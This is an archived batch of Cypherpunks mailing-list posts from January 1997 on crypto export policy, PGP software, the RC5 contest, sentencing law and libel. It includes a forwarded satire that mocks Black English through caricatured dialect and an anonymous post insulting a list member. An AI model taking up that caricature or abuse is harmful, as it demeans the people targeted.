 In> I have put together a Computer Crime and Investigations Center

 In> URL: http://www.ovnet.com/~dckinder/crime.htm

 In> This page points you to sources of information pertaining to various
 In> issues relevant to Computer Crime and Security.

 In> Topics covered include:

 In> What Problems Can Arise
 In> An Ounce of Prevention...
 In> How it is done
 In> Detecting whether you have a problem
 In> Search and Seizure of Computer Equipment
 In> Is Big Brother Watching You?
 In> The Enigma of Encryption
 In> Viruses
 In> NT Security
 In> What issues are specific to the World Wide Web?
 In> Law Reviews
 In> General Sites

 In> Duncan Kinder
 In> dckinder@ovnet.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Yuri Sorkin <sorkin@crl.com>
Date: Fri, 31 Jan 1997 11:22:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: RC5-12/32/5 contest solved. Who gets a credit?
Message-ID: <32F24768.1117@crl.com>
MIME-Version: 1.0
Content-Type: text/plain


stewarts@ix.netcom.com
Tue, 28 Jan 1997 21:37:57 -0800 

At 09:55 PM 1/28/97 +0100, Germano Caronni <caronni@tik.ee.ethz.ch>
wrote:
>challenge: RC5-32/12/5
>time: from start of contest until Tue Jan 28 21:54:58 1997
>method: massive distributed coordinated keysearch, details later

which was a bit slower than Ian Goldberg's crack, but pretty close.
---------------------------------------------------------------------------
Huh!? Goldbeg's announce states that he spent about 3.5 hours, i.e. a
solution came not earlier than 12.30 PST, while Caronni got it at 11.55
am PST.

Yuri Sorkin




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Ray <jmr@shopmiami.com>
Date: Fri, 31 Jan 1997 08:45:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: "Secret" Postal Device stolen
Message-ID: <3.0.16.19970131114410.4507d89e@pop.gate.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

from http://www.herald.com/dade/digdocs/021949.htm

Postal Service offers $25,000 reward for stolen . . . something

By ARNOLD MARKOWITZ Herald Staff Writer 

    U.S. mail carriers carry more than just the U.S. mail.
They carry something else so secret that nobody outside the
Postal Service knows about it -- except four crooks who steal
them from letter carriers on the streets of Miami. There's a
$25,000 reward for tips producing capture and conviction.

...

Comments?
Please direct any replies for the list to me also, as I am
still on Ray's FCPUNX, which I suppose makes this list
double-filtered for me now, if a little delayed. :-)

Typically, I now care what the mystery device is, since the
occasionally-disgruntled ones don't want me to know.
JMR


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEPAwUBMvIhGzUhsGSn1j2pAQEp5wfPQ1YsiZviksusdbdVQHBz9yKMOSt5z3Ue
Utlmxzx8RExqjaTc/cSLORf55pBWbJiDFB+a+ev09I2iZujq7nlNNCZNI0NaHw2L
RObAjBQ4YT7sekWYMw81y08zH9x49OmAhh7CCh2qzh5ZyQ0qc3YdFzmc8F00+jdW
J9ZsXSvJaBS+Jvh/eIPH+IlD873hyk6T4Nrayt0xt2z6Ajvst0XK5vOLkeJobZg3
+x8IyS26/bcrWGkKD/4rK81/QDmLIyHG7oWzaJAR1q6UKCad0C1w6/i2dwWtWV1v
RyXfyYTgXi8XPbieBL7RZmP0j3A0xqlCr4PASMuZskBa+g==
=Kspp
-----END PGP SIGNATURE-----

Regards, Jim Ray <jmr@shopmiami.com>
DNRC Minister of Encryption Advocacy

One of the "legitimate concerns of law enforcement" seems to be
that I was born innocent until proven guilty and not the other
way around. -- me

http://shopmiami.com/prs/jimray/    
PGP id.A7D63DA9 98 1F 39 BA 93 86 B4 F5  57 52 64 0E DA BA 2C 71






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rshea@netcom.com (rex)
Date: Fri, 31 Jan 1997 17:12:09 -0800 (PST)
To: unicorn@schloss.li
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <Pine.SUN.3.94.970109173741.707A-100000@polaris>
Message-ID: <qxk8yMNwPVYM092yn@netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Black Unicorn <unicorn@schloss.li> wrote:

>If you want to look at it a different way, if you are involved with a drug
>offense and are not using a weapon, you'll get a lower sentence than a
>full fledged drug crime.  It's a step in the right direction - i.e. away
>from manadatory sentencing of a flat time period for a crime regardless of
>circumstances.

But Putra got the same sentence she would have gotten had she been
convicted on both charges. The fact that she was acquitted meant nothing.

UNITED STATES v. VERNON WATTS
UNITED STATES v. CHERYL PUTRA
on petition for writ of certiorari to the united
states court of appeals for the ninth circuit
No. 95-1906.  Decided January 6, 1997

  Per Curiam.

In these two cases, two panels of the Court of Appeals for the Ninth
Circuit held that sentencing courts could not consider conduct of the
defendants underlying charges of which they had been acquitted.
United States v. Watts, 67 F. 3d 790 (CA9 1995) (-Watts-); United
States v. Putra, 78 F. 3d 1386 (CA9 1996) (-Putra-).
[...]
Because the panels' holdings conflict with the
clear implications of 18 U. S. C. 3661, the Sentencing Guidelines,
and this Court's decisions, particularly Witte v. United States, 515
U. S. ___ (1995), we grant the petition and reverse in both cases.
[...]

  Justice Stevens, dissenting.

  The Sentencing Reform Act of 1984 revolutionized the manner in
which district courts sentence persons convicted of federal crimes.
Burns v. United States, 501 U. S. 129, 132 (1991). The goals of
rehabilitation and fairness served by individualized sentencing that
formerly justified vesting judges with virtually unreviewable
sentencing discretion have been replaced by the impersonal interest
in uniformity and retribution.
[...]

                     II

  The issue of law raised by the sentencing of Cheryl Putra involved
the identification of the offense level that determined the range
within which the judge could exercise discretion.  Because she was a
first offender with no criminal history, that range was based
entirely on the offense or offenses for which she was to be punished.
She was found guilty of aiding and abetting the intended distribution
of one ounce of cocaine on May 8, 1992, but not guilty of
participating in a similar transaction involving five ounces of
cocaine on May 9, 1992.  United States v. Putra, 78 F. 3d 1386, 1387
(CA9 1996).  If the guilty verdict provided the only basis for
imposing punishment on Ms. Putra, the Guidelines would have required
the judge to impose a sentence of no less than 15 months in prison
and would have prohibited him from imposing a sentence longer than 21
months.

  If Putra had been found guilty of also participating in the 5 ounce
transaction on May 9, 1992, the Guidelines would have required that
both the minimum and the maximum sentences be increased; the range
would have been between 27 and 33 months.  As the District Court
applied the Guidelines, precisely the same range resulted from the
acquittal as would have been dictated by a conviction.
Notwithstanding the absence of sufficient evidence to prove guilt
beyond a reasonable doubt, the alleged offense on May 9 led to the
imposition of a sentence six months longer than the maximum permitted
for the only crime that provided any basis for punishment.

  In my judgment neither our prior cases nor the text of the statute
warrants this perverse result. And the vigor of the debate among
judges in the courts of appeals on this basic issue belies the ease
with which the Court addresses it, without hearing oral argument or
allowing the parties to fully brief the issues.
[...]

  Even more than Williams, this Court, like all of the Circuits that
have adopted the same approach as the District Courts in these cases,
relies primarily on the misguided five-to-four decision in McMillan
v. Pennsylvania, 477 U. S. 79 (1986). For the reasons stated in my
dissent in that case, id., at 95-104, I continue to believe that it
was incorrectly decided and that its holding should be reconsidered.
Even accepting its holding that the Constitution does not require
proof beyond a reasonable doubt to establish a sentencing factor
that increases the minimum sentence without altering the maximum,
however, there are at least two reasons why McMillan does not dictate
the outcome of these cases.

  In McMillan, as in these cases, the defendant's minimum sentence
was enhanced on the basis of a fact proved by a preponderance of the
evidence. But in McMillan, the maximum was unchanged; the sentence
actually imposed was within the range that would have been available
to the judge even if the enhancing factor had not been proved. In
these cases, however, the sentences actually imposed were higher than
the Guidelines would have allowed without evidence of the additional
offenses. The McMillan opinion pointedly noted that the Pennsylvania
statute had not altered the maximum penalty for the crime committed
and operated solely to limit the sentencing courts' discretion in
selecting a penalty within the range already available to it without
the special finding of visible possession of a firearm. Id., at
87-88. Given the Court's acknowledged inability to lay down any
`bright line' test that would define the limits of its holding, id.,
at 91, and its apparent assumption that a sentencing factor should
not be allowed to serve as a tail which wags the dog of the
substantive offense, id., at 88, see also ante, at 7, n. 2, the
holding should not be extended to allow a fact proved by only a
preponderance to increase the entire range of penalties within which
the sentencing judge may lawfully exercise discretion.
[...]

  In my opinion the statute should be construed in the light of the
traditional requirement that criminal charges must be sustained by
proof beyond a reasonable doubt. That requirement has always applied
to charges involving multiple offenses as well as a single offense.
Whether an allegation of criminal conduct is the sole basis for
punishment or merely one of several bases for punishment, we should
presume that Congress intended the new sentencing Guidelines that it
authorized in 1984 to adhere to longstanding procedural requirements
enshrined in our constitutional jurisprudence. The notion that a
charge that cannot be sustained by proof beyond a reasonable doubt
may give rise to the same punishment as if it had been so proved is
repugnant to that jurisprudence.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Fri, 31 Jan 1997 11:28:00 -0800 (PST)
To: stewarts@ix.netcom.com (Bill Stewart)
Subject: Re: Cats Out of Bags
In-Reply-To: <199701311357.FAA14264@toad.com>
Message-ID: <199701311950.LAA10870@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


> > "Other governments were upset with the 56-bit export allowance. 
> > They said it was going to undermine their national security."
> 
> On this point, the other governments are correct.
> It really _is_ tougher to maintain a nation-state when your
> former subjects can have private conversations with each other
> and with other governments' former subjects......
> And even 56 bits is a start.

	Full strength crypto is already available worldwide. It makes
not one iota of difference.

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 31 Jan 1997 12:51:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cats Out of Bags
In-Reply-To: <199701311201.HAA14977@upaya.multiverse.com>
Message-ID: <199701312051.MAA25208@netcom18.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


PJ wrote me in email:

>A slight correction.  The ``bernstein etc.'' cases are not about the
>right to have strong crypto.  There is no United States law forbidding
>one from having or using crypto, hard, soft, or squishy.  Those cases
>challenge regulations that keep one from publishing information about
>crypto including cryptographic software.  Even if it were made illegal
>to use hard crypto, it would still be a violation of the First
>Amendment for the government to require a license before one is
>allowed to publish information about crypto or anything else.

I consider it a violation of free speech if the government
made "hard crypto" illegal. yes, these cases are generally 
challenging the publishing aspects of crypto in the US, but
this is not what I consider the most important constitutional
ingredient in favor of crypto. crypto is essentially a kind
of speech, or communication. hence restricting it would be
like outlawing a certain foreign language that the government
doesn't understand. 

in my opinion, this is the most important,
root case to be made for the use of crypto in this country. 
publishing crypto algorithms is only a side issue compared to this,
imho.

so the bottom line is this: crypto regulations can be challenged
under the idea that they are restricting freedom of the press,
i.e. for academics to discuss algorithms, or it can be challenged
under freedom of speech issues, i.e. everyone has the right
to use codes for whatever purpose. currently because the regulations
prohibit the "export" of crypto code, the first route is the
basic challenge that makes the most sense. but I'd like to see
the ITAR challenged on the second grounds as well, i.e. as
a free speech issue. there's less reason when the gov't is not
trying to regulate domestic crypto, but it might be a relevant
angle in the export debate.

BTW, I understand that there are cases being made by 
Karn, Junger, and Bernstein, is that correct? with Junger being 
the most recent?  does anyone have web pages dedicated to each
one of these?

thanks;





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 31 Jan 1997 05:04:22 -0800 (PST)
To: "William H. Geiger III" <cypherpunks@toad.com
Subject: Geiger and long, unreadable lines
Message-ID: <199701311303.GAA01678@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    If Geiger's software works as well as his ongoing comprehension of
    the problem 90 to 100 character long mail message lines cause, we
    are all in trouble.

    mail which might be forwarded, commented a few times, etc. really
    works best with 72-74 characters maximum per line.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMvHtjr04kQrCC2kFAQHEeQP/UbYtlFD34UbhHhVbFIXjDxv4KjIb6tD7
y9pkoixaMHw3x2RABC6xjRcRGQ1pLo3ySLS/xbfEmAcR/kjKd2z2SpCSibspXi4n
HZ41PnSaPYi2zptR4hQ4mG3d/7EjidVOF4RnMaWB+a0089GvGzYP2xK8YIGiIQBW
lToR9lyqDGQ=
=fSkd
-----END PGP SIGNATURE-----









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Fri, 31 Jan 1997 13:30:22 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Re: PGPMail 4.5 Released!
In-Reply-To: <199701312001.MAA21361@toad.com>
Message-ID: <Pine.GSO.3.95.970131132236.14575A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 31 Jan 1997, Duncan Frissell wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 06:29 AM 1/31/97 -0500, you wrote:
> >And what happened to the $29 discount price they proposed for 2.6.3 users and viuacrypt users!!!!!!!!!!!!
> >
> 
> I just email PGP sales with that question.

I just got off the phone with PGP sales.  Currently PGPMail is only
available off if the web site for download.  The version on disk will be
available sometime mid February.

So it looks like if you want it now it is going to cost you $149.  If you
wait until mid February, you can get it at the lower price (plus $10
shipping and handling).

BTW, it does use SSL on the order form, though I have my doubts about the
security of sending form data from an insecure page to a secure form cgi.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 31 Jan 1997 10:54:43 -0800 (PST)
To: David Farber <farber@cis.upenn.edu>
Subject: Re: PGPMail 4.5 Released!
In-Reply-To: <199701311356.FAA14241@toad.com>
Message-ID: <3.0.1.32.19970131135938.00778750@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 06:29 AM 1/31/97 -0500, you wrote:
>And what happened to the $29 discount price they proposed for 2.6.3 users and viuacrypt users!!!!!!!!!!!!
>

I just email PGP sales with that question.

DCF
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Version: 4.5

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WgFjwMALh7A=
=j4+j
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mohanjm@emirates.net.ae (Don Juan De Marco)
Date: Fri, 31 Jan 1997 02:32:51 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: uae_1.html
Message-ID: <199701311032.OAA02718@ns2.emirates.net.ae>
MIME-Version: 1.0
Content-Type: text/plain


>jim bell wrote:
>
>> I wonder what these people will think when organizations like Teledesic and
>> Iridium start operating (low-earth-orbit satellites) to allow
>> totally-wireless connectivity.  It seems to me that there will be a market
>> for services that allow anonymous browsing, perhaps with encrypted requests
>> that return otherwise-unidentified data on a publicly-accessible airwaves.
>
>  Think of the possibility of satellite-fed 'roving' InterNet sites.
>  What will be the 'export' implications of sending crypto to a place
>such as site.nowhere, site.somewhere, and site.intheUS-hee-hee.
>
>Toto
>
>
>Is there anyway to aviod the proxy??? please reply!!
>
>
>Don Juan
>
>
>
>
                                         





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 31 Jan 1997 14:56:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Denial of service attack
Message-ID: <199701312256.OAA24117@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimwit Virus K[arcinogen]OfTheMonth styles his facial hair to
look more like pubic hair.

             \|/
             @ @
        -oOO-(_)-OOo- Dimwit Virus K[arcinogen]OfTheMonth






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wlkngowl@unix.asb.com (Mutatis Mutantdis)
Date: Fri, 31 Jan 1997 07:41:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGPMail Log File
Message-ID: <199701311603.LAA07122@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


On 31 Jan 1997 09:27:45 -0500, you wrote:

>At 02:22 AM 1/31/97 +0000, "Robert Rothenburg 'Walking-Owl'" 

>< WlkngOwl@unix.asb.comwrote:
>> Is there a way to disable the \WINDOWS\PGPW_32.LOG?
>> In subtle ways it's a security hole if left to accumulate over time,
>> since it keeps records of which keys you encrypted messages to.
>> [..]
>> I understand in certain group/corporate environs one would want 
>> logging; in others, one doesn't need it or should have the option (in 
>> an easily found place) to wipe it every once in a while.

>This is a damn good question.  I do NOT have the "write to a log file"
>option slected in the misc. tab and it STILL writes a log file.  How DO
>we disable this?

Well, I just found that option to uncheck it (thanks to your message) so
I'll try it w/the log file unchecked and see what happens. (Duh!)

Rob









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Fri, 31 Jan 1997 13:25:57 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Libel & the 1st Amendment
In-Reply-To: <199701310745.XAA07005@toad.com>
Message-ID: <Pine.LNX.3.95.970131160355.1646A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 30 Jan 1997, Jim Choate wrote:

> > * Many 1st Amendment experts don't believe in the legal concept of libel.
> > It is, they say, a rich man's game
>
> Exactly, instead of equal protection under the law we have a specieocracy.

Anyone can afford a contingency-free attorney as long as the plaintiff has a
good chance of being awarded damages.  This has the benefit that the legal
system doesn't get overcrowded with frivolous cases.

> > -- if I'm libeled by the NYT, I'm
> > probably not going t be able to sue them, but Donald Trump can. Moreover,
> > if I don't have the resources to sue but the statement is libelous, it
> > creates a *presumption* in the minds of the readers that the article is
> > certainly true. (If it were not, I would have sued, right?)
>
> Another good example of why our system is broke.

If the legal concept of libel is abandoned, this presumption will largely
disappear.  People will have to rely on the credibility of the source, instead
of whether or not the victim of libel has sued.



Mark
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=lYDr
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Fri, 31 Jan 1997 16:32:10 -0800 (PST)
To: letters@sjmercury.com
Subject: News: Panic! Internet is full of terrorists!
Message-ID: <199702010031.QAA11517@ohio.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm really sick and tired of this hypocritical bullshit from our
executive branch.  On one hand, we have FBI + CIA + NSA crying
terrorists and child pornographers can get away with their crimes if
networks are secured with cryptography.  On the other hand, we also
have presidential panels crying that our networks are vulnerable to
terrorists if we don't do some serious security overhauls.

What the *#@!! do they want?  If you outlaw security software, then
stop whining that the networks aren't secure!  If you want secure
networks, stop whining about the encryption "problem".

Either the network is secure or it isn't.

YOU CAN'T HAVE IT BOTH WAYS!

Ern

-------- QUOTED ARTICLE FROM: San Jose Mercury (Jan 31, 1997)

 PRESIDENTIAL PANEL WARNS OF CYBERATTACK THREAT

 Critics charge danger overstated, could lead to unwarranted
 intrusion on Net

 Published: Jan. 31, 1997

 BY RORY J. O'CONNOR
 Mercury News Washington Bureau

 WASHINGTON -- The United States faces a serious risk of
 cyberattacks against vital computer-controlled networks,
 attacks that could threaten the nation's security or
 economy, according to a presidential commission evaluating
 the threat.

 [SNIP]

--------
Ernest Hua, Software Sanitation Engineer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brett Carswell <brettc@tritro.com.au>
Date: Thu, 30 Jan 1997 23:16:47 -0800 (PST)
To: "'dthorn@gte.net>
Subject: [noise] RE: Shave the Whales
Message-ID: <c=AU%a=_%p=Tritronics_.Aust%l=TRI_NT5-970131071422Z-192@net.tritro.com.au>
MIME-Version: 1.0
Content-Type: text/plain



>I've just started clipping and saving the characters w/o the text
>that accompanies them.  I've got a dozen so far, so check back in
>a week or so and I'll forward a set to anyone who wants.  Unless,
>of course, someone has a bucket of them now.
>
>I've got an almost complete collection dating back to 10 Dec. I always knew
>thist stuff would become a collector item.
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 31 Jan 1997 16:20:03 -0800 (PST)
To: Michael Paul Johnson <mikej2@Exabyte.COM>
Subject: Re: Complying with the EAR [was: More Circumventing the ITAR]
In-Reply-To: <Pine.SUN.3.95.970131091527.15388A-100000@gedora>
Message-ID: <32F29CF4.5AD2@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Michael Paul Johnson wrote:

> If that is the only chink in the armor you see, then you aren't looking
> very hard. The point of this system is 

Michael,
  Enjoyed your post.
  The motivations underlying U.S. crypto policy are indeed
multi-faceted,
and it is always good to have a variety of well-thought out opinions as
to some of the various impetus' behind the machinations of the different
governmental departments, etc., which encompass the wide range of those
involved in setting and enforcing crypto policy.
  No matter what the original motivations or pre-conceived plans behind
the initial impetus towards the regulation of crypto, once 'policy' 
enters the governmental maze it takes on a life of its own, subject
to whims and vagarities of departments and individuals which reflect
a confusing kalidescope of concerns which are both parallel and tangent
to the starting vector.
  I would imagine that, 1,000 years from now, students might well be
taught that Phil Zimmerman was responsible for World War III, with the
CypherPunks bearing much of the blame, as well.

Toto
"Fighting for peace, and fucking for virginity."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 31 Jan 1997 16:20:01 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <v02140b06af175d69e933@[10.0.2.15]>
Message-ID: <32F29DFD.1CD@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Steve Schear wrote:

> >    BULLSHIT. BULL FUCKING SHIT. The origin of property is labor. Claiming
> >that _my_ property is the result of ME stealing, and hence what I OWN belongs
> >to the community IS theft. I work, and as the result of that work something is
> >created. That something is MINE to do with as I will. If I choose to sell that
> >work for money, that money is mine. If I trade that money for shoes, those
> >shoes are mine. THere is no theft involved.
 
> Tell this to the Native Americans.

Steve,
  Slam-dunk, dude!

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 31 Jan 1997 16:21:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fwd:[Yet another -onics..]
In-Reply-To: <9701311810.AA09508@banshee.BASISinc.com>
Message-ID: <32F29E8B.1FA@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mike Denney wrote:
> 
> ----- Begin Included Message -----
> 
> >From sysgu-1@PaloAlto01.pop.internex.net Thu Jan 30 14:31 PST 1997
> Subject: Fwd:[Yet another -onics..]
> To: "Sonni Zambino" <sonni@dentistat.com>, "Mike Denney" <gomez@BASISinc.com>,
>         "Jim Staudenheimer" <JnCStaud@aol.com>
> Mime-Version: 1.0
> 
> *****************************
> "GEEKONICS" IS JUST A BEGINNING
> by John Woestendiek
> Philadelphia Inquirer
> Wed., January 8, 1997
> *****************************
> 
> NEWS BULLETIN: Saying it will improve the education of children who
> have grown up immersed in computer lingo, the school board in San
> Jose, Calif., has officially designated computer English, or
> "Geekonics", as a second language.
> 
> The historic vote on Geekonics - a combination of the word "geek" and
> the word "phonics" - came just weeks after the Oakland school board
> recognized black English, or Ebonics, as a distinct language.
> 
> "This entirely reconfigures our parameters," Milton "Floppy"
> Macintosh, chairman of Geekonics Unlimited, said after the school
> board became the first in the nation to recognize Geekonics.
> "No longer are we preformatted for failure," Macintosh said during a
> celebration that saw many Geekonics backers come dangerously close to
> smiling. "Today, we are rebooting, implementing a program to process
> the data we need to interface with all units of humanity."
> 
> Controversial and widely misunderstood, the Geekonics movement was
> spawned in California's Silicon Valley, where many children have grown
> up in households headed by computer technicians, programmers, engineers
> and scientists who have lost ability to speak plain English and have
> inadvertently passed on their high-tech vernacular to their children.
> 
> HELPING THE TRANSITION
> 
> While schools will not teach the language, increased teacher awareness
> of Geekonics, proponents say, will help children make the transition
> to standard English. Those students, in turn, could possibly help
> their parents learn to speak in a manner that would lead listeners to
> believe that they have actual blood coursing through their veins.
> 
> "Bit by bit, byte by byte, with the proper system development, with
> nonpreemptive multitasking, I see no reason why we can't download the
> data we need to modulate our oral output," Macintosh said. The
> designation of Ebonics and Geekonics as languages reflects a growing
> awareness of our nation's lingual diversity, experts say. Other groups
> pushing for their own languages and/or vernaculars to be declared
> official viewed the Geekonics vote as a step in the right direction.
> 
> "This is just, like, OK, you know, the most totally kewl thing, like,
> ever," said Jennifer Notat-Albright, chairwoman of the Committee for
> the Advancement of Valleyonics, headquartered in Southern California.
> "I mean, like, you know?" she added.
> 
> THEY'RE HAPPY IN DIXIE
> 
> Yeee-hah," said Buford "Kudzu" Davis, president of the Dixionics
> Coalition.  "Y'all gotta know I'm as happy as a tick on a sleeping
> bloodhound about this." Spokesmen for several subchapters of Dixionics
> - including Alabonics, Tennesonics and Louisionics - also said they
> approved of the decision. Bill Flack, public information officer for
> the Blue Ribbon Task Force on Bureaucratonics said that his
> organization would not comment on the San Jose vote until it convened
> a summit meeting, studied the impact, assessed the feasibility,
> finalized a report and drafted a comprehensive action plan,
> which, once it clears the appropriate subcommittees and is voted on,
> will be made public to those who submit the proper information-request
> forms.
> 
> Proponents of Ebonics heartily endorsed the designation of Geekonics
> as an official language.
> 
> "I ain't got no problem wif it," said Earl E. Byrd, president of the
> Ebonics Institute. "You ever try talkin' wif wunna dem computer dudes?
> Don't matter if it be a white computer dude or a black computer dude;
> it's like you be talkin' to a robot - RAM, DOS, undelete, MegaHertZ.
> Ain't nobody understands.   But dey keep talkin' anyway. 'Sup wif dat?"
> Those involved in the lingual diversity movement believe that only by
> enacting many different English languages, in addition to all the
> foreign ones practiced here, can we all end up happily speaking the
> same boring one, becoming a nation that is both unified in its
> diversity, and diversified in its unity.  Others say that makes no
> sense at all. In any language.
> 
> ----- End Included Message -----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@veriweb.com>
Date: Fri, 31 Jan 1997 17:49:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: pgpfingerd
Message-ID: <199702010149.RAA27079@descartes.veriweb.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

For what it's worth, I wrote a very short fingerd that fetches _only_
a user's .pgpplan file, should it exist. Else it just exits. Someone
may have already done this, so be it. This was mostly for my own use,
but if anyone wants the code, feel free to use it. It's available from
my home page ( http://www.veriweb.com/people/jeremey/ ).

After calling getpwnam() on the username supplied, it calls setuid() with
the uid of the user being fingered. It ignores any finger options and
attempts to parse them out. It's possible I missed some. After setuid(),
it attempts to open a file called .pgpplan in the directory (pw_dir)
returned by getpwnam(). If this is not a _regular_ file, it exits, i.e.
no symlinks. Then it shoves the file out over stdout (this assumes it
was invoked by inetd). That's it.

I've only compiled it on Linux and BSDI, but it doesn't do anything very
odd, so it should compile fine on other Unix platforms.

- -- 
=-----------------------------------------------------------------------= 
Jeremey Barrett                                  VeriWeb Internet Corp.
Senior Software Engineer                         http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
=-----------------------------------------------------------------------=

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

iQCVAwUBMvKgyy/fy+vkqMxNAQHqKgQAqxKiAzcOUDx9ThN5D6OHwuyUE1WlCtXr
EVjg0d19fhafiTGO3HwAFbk8zxtzs/YMtSJ4a5nbALQTUxVBF/749DboXU+IS37l
urB7MjBb0mB7+4IDmmR/iFEJa/U/mlTWZiLZ7JOq2Y7GtuqDmGgN3Z/T+K0loQvl
7Qn1x8aHXlI=
=RxZM
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 31 Jan 1997 16:20:08 -0800 (PST)
To: "Z.B." <zachb@netcom.com>
Subject: Re: Key Security Question
In-Reply-To: <Pine.3.89.9701311005.A14002-0100000@netcom>
Message-ID: <32F2A1B3.FC4@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Z.B. wrote:
> 
> My computer went into the shop a few days ago, and I was unable to take
> my PGP keys off it before it went in.  What are the security risks here?
> If the repairman chooses to snoop through the files, what would he be
> able to do with my key pair?  Will I need to revoke the key and make a
> new one, or will I be relatively safe since he doesn't have my
> passphrase?

  If the repairman has your pubring and secring files, you can now 
consider them in the same light as a 'busted flush'.
  Chances are, he has neither the capability nor the interest in 
popping open your deep, dark secrets. On the other hand, if he 
returns your computer with a 'shit-eating grin', you may be in for
a world-of-hurt.
  My advice would be for you to check your 'paranoia level' and,
if you are a quart low, then read Phil Zimmerman's PGP documentation
once again, and make your decision based on the reality of the
possibilities involved.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 31 Jan 1997 16:27:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Libel & the 1st Amendment (fwd)
Message-ID: <199702010028.SAA02024@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 31 Jan 1997 16:28:56 -0500 (EST)
> From: "Mark M." <markm@voicenet.com>
> 
> Anyone can afford a contingency-free attorney as long as the plaintiff has a
> good chance of being awarded damages.  This has the benefit that the legal
> system doesn't get overcrowded with frivolous cases.

Really? And what if the out come is nothing more than a public statement
in the local newspaper that the original statement was not true and paying
the court costs? I doubt you will find a single attorney who will take the
case because there is no profit for them.

> If the legal concept of libel is abandoned, this presumption will largely
> disappear.  People will have to rely on the credibility of the source, instead
> of whether or not the victim of libel has sued.

Really? And just exactly do you base this assumption on? Historicaly it
would seem that people want to believe the dirty grit about people. If they
didn't they wouldn't make the National Inquirer as successful as it is.

